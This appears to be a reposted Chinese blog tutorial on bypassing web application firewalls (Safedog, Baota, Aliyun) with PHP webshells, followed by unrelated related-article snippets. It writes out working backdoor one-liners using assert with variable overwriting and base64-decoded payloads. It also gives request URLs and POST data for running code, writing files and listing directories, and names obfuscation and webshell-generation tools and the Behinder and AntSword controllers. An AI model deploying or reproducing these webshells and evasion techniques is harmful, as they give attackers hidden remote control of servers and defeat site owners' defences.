04-waf绕过权限控制

news2024/11/15 16:27:41

WAF绕过-权限控制之代码混淆及行为造轮子

思维导图

img

后门工具介绍:

菜刀,蚁剑,冰蝎优缺点

菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,偏向于后渗透,双向加密传输

冰蝎加密原理

单双向加密传输的区别:

双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的,这样在安全狗这些WAF检测内容的时候就狠nice。

一、Safedog-手写覆盖变量简易代码绕过-代码层**

Safedog代码层手写及脚本绕过

  • 变量覆盖,加密混淆,异或生成

在php代码中,( 美 元 符 号 ) 的 使 用 非 常 的 普 遍 , 它 用 来 表 示 一 个 自 定 义 的 变 量 , ( 例 : (美元符号)的使用非常的普遍,它用来表示一个自定义的变量,(例:(美元符号)的使用非常的普遍,它用来表示一个自定义的变量,(例:str),而有时候也会出现两个 $ 符号同时使用的情况,

php中$$符号的定义与作用例:

示例代码:

<?php
$var = 'hello word !';
$str = 'var';
echo $str;
echo $$str;
?>

输出结果:

var
hello word !

说明:
1、s t r 的 变 量 的 值 为 字 符 串 v a r 2 、 str的变量的值为字符串 var

2、str的变量的值为字符串var2、s t r 为 一 个 可 变 变 量 , str为一个可变变量,str为一个可变变量,str的值为 var 则 $$str 等同于 $var

原型后门

<?php assert($_POST['chopper'])?>

//如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行

安全狗轻而易举就查到木马

image-20230420135034725

绕过代码:使用变量覆盖.

什么是变量覆盖漏洞:

用自定义的传参数值替换原有变量值的情况称为变量覆盖漏洞

image-20230420140253325

后门代码:
<?php
 	$a=$_GET['x'];
 	$$a=$_GET['y'];
 	$b=($_POST['z']);
?>

传递值:
//?x=b&y=assert


解释:
//$a = b   先让$a=$b   $$a传入assert ->$b 变量引用  
    
//结果:$b($_POST['z']); 变为--->assert($_POST['z'])  后门代码
可以绕过safedog查杀
 
上传成功后,
访问:http://127.0.0.1:8081/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=phpinfo();

效果

image.png

二、Safedog,BT,Aliyun-覆盖变量 加密传输 绕过

采取上述覆盖变量的方式可以绕过安全狗查杀,但是会被宝塔拦截。

image-20230420142201897

原因是 宝塔过滤规则里定义了phpinfo()等关键字。

img

在过滤规则中看到,传递的关键子进行了过滤判断。

方法:

所以可以配套 使用编码解码方式 绕过 宝塔。

一句话木马:<br><?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>

//传递的后门中进行解码
 
//对PHPinfo();进行编码为cGhwaW5mbygpOw==
还可以采取加密传输:
上传加密后的语句,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=cGhwaW5mbygpOw==

img

成功:

img

三、Safedog-基于接口类加密混淆代码绕过-代码层

上传一句话木马:

<?php assert(base64_decode($_POST['chopper']));?>

木马文件被安全狗查杀

img

访问被安全狗拦截img

方法1:使用enPHP工具加密混淆代码

enPHP:一个开源加密混淆 PHP 代码项目

目标加密的代码,不要将code_test的文件移到或者删除很有可能会导致使用失败。

软件下载地址:

https://github.com/djunny/enphp

在线加密地址:

PHP加密|PHP在线加密|PHP解密|PHP代码解密|GOTO解密|PHP混淆 - EnPHP加密平台 (djunny.com)

加密混淆的脚本:
img

加密混淆后木马:img

测试:

img

方法2:phpjiami在线加密混淆

如果上面的方式被安全狗杀掉,或者过不了宝塔的话。

网址:

http://phpjiami.com/phpjiami.html

[img

木马加密前后对比:img

绕过成功

img

四、异或加密Webshell-venom绕过

venom工具:支持生成asp、aspx、jsp、php等一句话免杀木马

  • 下载:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao
  • https://github.com/yzddmr6/as_webshell_venom,
  • 地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search

img

运行里面的脚本,然后就出来了,随机的。复制好上传就行。

python3 php_venom_3.3.py  //生成免杀一句话

python3 php_venom_3.3.py shell.php   //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php

img

成功,记得如果要加密需要提交id的参数,不加密则不用

这里构造语句:

127.0.0.1/test.php?id=snkad

post mg6=加密

img

五、基于冰蝎新型控制器绕过全面测试

3个工具比较:

  • 菜刀:已经不再更新了,无插件(看举例1),单向加密传输,打5分,不建议使用。

  • 蚁剑:持续更新状态,有插件,扩展性强,缺点是单向加密传输,打8分。

  • 冰蝎:持续更新状态,未知插件,扩展性强,双向加密传输,偏向于后渗透,可以联动msf.,打分9分,推荐使用。

    下载地址:

    • 冰蝎:https://github.com/rebeyond/Behinder/releases/
    • 蚁剑:https://github.com/AntSwordProject/antSword/releases

1、菜刀单向加密举例:

img

抓包分析菜刀执行操作时候的数据包,然后模拟提交,返回了正常显示的目录列表。

image-20230420144649801

2、冰蝎示例:

冰蝎双向加密传输原理:

img

冰蝎-双向加密传输-抓包查看

img

菜刀不支持加密无法绕过

img

六、基于手写新型控制器绕过全面测试

使用工具连接木马时,waf可能会通过工具的指纹实现拦截,此时我们可以采用如下方法绕过:

1、指纹变异、2、自己造轮子

自己写脚本模拟工具:

http://test.xxx.com/xx.php?x=b&y=assert
post data举例:
执行代码 z=phpinfo(); -->  z=cGhwaW5mbygpOw==

写入文件 z=file_put_contents("test.txt","1"); -->  z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw==


读取文件 z=var_dump(scandir(".")); -->  z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs=## 

读取:

img

写入文件img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/440188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

远程虚拟桌面解决方案 OpenText™ Exceed™ TurboX(ETX)的优势有哪些?

远程虚拟桌面解决方案 OpenText™ Exceed™ TurboX&#xff08;ETX&#xff09;的优势有哪些&#xff1f; 为 Windows、Linux 和 UNIX 实施精益、经济高效的虚拟化&#xff1b;提供完整的远程 Windows 可用性&#xff1b;以类似本地的性能远程工作&#xff1b;安全地保护系统和…

【Redis7】 Redis7 哨兵(重点:哨兵运行流程和选举原理)

【大家好&#xff0c;我是爱干饭的猿&#xff0c;本文重点介绍Redis7 哨兵&#xff0c;重点&#xff1a;哨兵运行流程和选举原理。 后续会继续分享Redis7和其他重要知识点总结&#xff0c;如果喜欢这篇文章&#xff0c;点个赞&#x1f44d;&#xff0c;关注一下吧】 上一篇文…

第一章 webpack与构建发展简史

官方loader和插件 Loaders | webpack Plugins | webpack 为什么需要构建工具&#xff1f; 初识webpack webpack默认配置文件&#xff1a;webpack.config.js 可以通过webpack --config <config_file_name>指定配置文件 rules是个数组&#xff0c;一个打包配置可以有多…

基于凸集上投影(POCS)的聚类算法

POCS&#xff1a;Projections onto Convex Sets。在数学中&#xff0c;凸集是指其中任意两点间的线段均在该集合内的集合。而投影则是将某个点映射到另一个空间中的某个子空间上的操作。给定一个凸集合和一个点&#xff0c;可以通过找到该点在该凸集合上的投影来进行操作。该投…

Vue3图片预览(Image)

本图片预览组件主要包括以下功能&#xff1a; 展示图片时&#xff0c;可设置鼠标悬浮时的预览文本&#xff1b;图像无法加载时要显示的描述&#xff1b;自定义图像高度和宽度&#xff1b;设置图像如何适应容器高度和宽度&#xff08; fill(填充) | contain(等比缩放包含) | cov…

Node 06-包管理器

包管理工具 概念介绍 包是什么 『包』英文单词是 package &#xff0c;代表了一组特定功能的源码集合 包管理工具 管理『包』的应用软件&#xff0c;可以对「包」进行 下载安装 &#xff0c; 更新 &#xff0c; 删除&#xff0c; 上传等操作 借助包管理工具&#xff0c;可以…

ASEMI代理ADAU1701JSTZ-RL原装ADI车规级ADAU1701JSTZ-RL

编辑&#xff1a;ll ASEMI代理ADAU1701JSTZ-RL原装ADI车规级ADAU1701JSTZ-RL 型号&#xff1a;ADAU1701JSTZ-RL 品牌&#xff1a;ADI /亚德诺 封装&#xff1a;LQFP-48 批号&#xff1a;2023 安装类型&#xff1a;表面贴装型 引脚数量&#xff1a;48 类型&#xff1a;车…

向凯文·凯利提问:未来 5000 天我们将走向何处?

ChatGPT 的问世不禁让人遐想&#xff0c;接下来的 5000 天&#xff0c;将会发生什么事&#xff1f; 硅谷精神之父、世界互联网教父、《失控》《必然》的作者凯文凯利&#xff08;Kevin Kelly&#xff0c;以下简称 K.K.&#xff09;是这样预测的&#xff1a; 未来将会是一切都与…

WIFI-OmniPeek抓包

一、简介 有时候&#xff0c;我们需要抓取空口数据包来分析数据&#xff0c;此时就需要了解抓包软件如何使用。此时需要准备如下东西&#xff1a; SNIFFER&#xff1a;AC-12000 软件&#xff1a;OmniPeek 二&#xff1a;抓包 打开OmniPeek&#xff0c;新建捕获。 确认设备是否…

android studio ImageView和ImageButton和Button

1.ImageView 1.1代码显示 ImageView img findViewById(R.id.img); img.setImageResource(R.drawable.apple); 1.2XML <ImageViewandroid:layout_width"match_parent"android:layout_height"match_parent"android:id"id/img"android:src&qu…

如何用python写 翻译腔?时时刻刻优雅在线~

人生苦短&#xff0c;我用python 本文仅供参考 没有代码 看一乐呵就行 在家看完中配版国外经典电影之后&#xff0c;我的语气就变成了这样&#xff1a; " 我的老伙计&#xff0c;说真的&#xff0c;真是活见鬼。天气这么热&#xff0c;我们为什么不坐下喝杯咖啡呢&…

util-linix 实用程序包中包含了许多系统管理员常用的其它命令

util-linix 实用程序包中包含了许多系统管理员常用的其它命令。这些实用程序是由 Linux 内核组织发布的&#xff0c;这 107 条命令中几乎每一个都来自原本是三个单独的集合 —— fileutils、shellutils 和 textutils&#xff0c;2003 年它们被合并成一个包&#xff1a;util-lin…

家用洗地机有什么优缺点?平价洗地机推荐

随着社会经济的发展和人们生活水平的提高&#xff0c;对于清洁卫生的要求也越来越高。洗地机作为一种集高效、节能、环保、卫生等多重优点于一身的清洁设备&#xff0c;可以有效提高清洁效率和清洁质量&#xff0c;并且可以减少对环境的污染。不仅如此&#xff0c;洗地机的还有…

Linux线程:互斥锁、条件变量和信号量

本节重点&#xff1a; 1.学会线程同步。 2. 学会使用互斥量&#xff0c;条件变量&#xff0c;posix信号量&#xff0c;以及读写锁。 3. 理解基于读写锁的读者写者问题。 Linux线程互斥 相关概念&#xff1a; 临界资源&#xff1a;多线程执行流共享的资源就叫做临界资源 临界…

小红书达人种草怎么收费?

随着小红书平台的快速发展&#xff0c;用户数量在不断的上升&#xff0c;市场上也涌现出了很多的小红书营销公司&#xff0c;小红书营销主要是以小红书代写代发、品牌植入广告等方式来做品牌种草品宣。 小红书达人种草怎么收费这个问题&#xff0c;相信很多商家朋友都非常关心…

dockerfile 微服务 私有仓库

镜像编排 Dockerfile语法 CMD中的执行指令 放入前台运行 需要通过rpm -ql 包 | grep bao.service 看里面的启动命令 语法指令语法说明FROM基础镜像RUN制作镜像时执行的命令&#xff0c;可以有多个ADD复制文件到镜像&#xff0c;自动解压COPY复制文件到镜像&#xff0c;不解压…

Android Crash 前的最后抢救

众所周知,当 Andoird 程序发生未捕获的异常的时候,程序会直接 Crash 退出。而所谓安全气囊,是指在 Crash 发生时捕获异常,然后触发兜底逻辑,在程序退出前做最后的抢救。 一,Java捕获异常 在实现安全气囊之前,我们先思考一个问题,像 bugly、sentry 这种监控框架是如何…

深入认识VirtualPrivateNetwork

目录 一、认识什么是认证&#xff1f; 1.什么是数据认证&#xff0c;有什么作用&#xff0c;有哪些实现的技术手段? 2.什么是身份认证&#xff0c;有什么作用&#xff0c;有哪些实现的技术手段? 二、认识什么是VPN 1.什么VPN技术? 2.VPN技术有哪些分类? 3.IPSEC技术能…

c++常见算法

目录 1、常见遍历算法 1.1、for_each遍历算法 1.2、、transform算法 2、常见的查找算法 2.1、find 算法查找元素 2.1.1、find 算法查找基本类型 2.1.2、find 算法查找自定义类型 2.2、find_if 按照条件查找 2.3、adjacent_find算法 查找相邻重复元素 2.4、binary_sear…

JavaSE-Map

Map集合 5.0 重点掌握 能够说出Map集合的特点能够使Map集合添加方法保存数据使用“键找值””键值对“的方式遍历Map集合使用HashMap存储自定义键值对的数据完成HashMap案例 5.1 Map集合概述 现实生活中&#xff0c;经常会出现这么一种集合&#xff1a;如 身份证与个人&…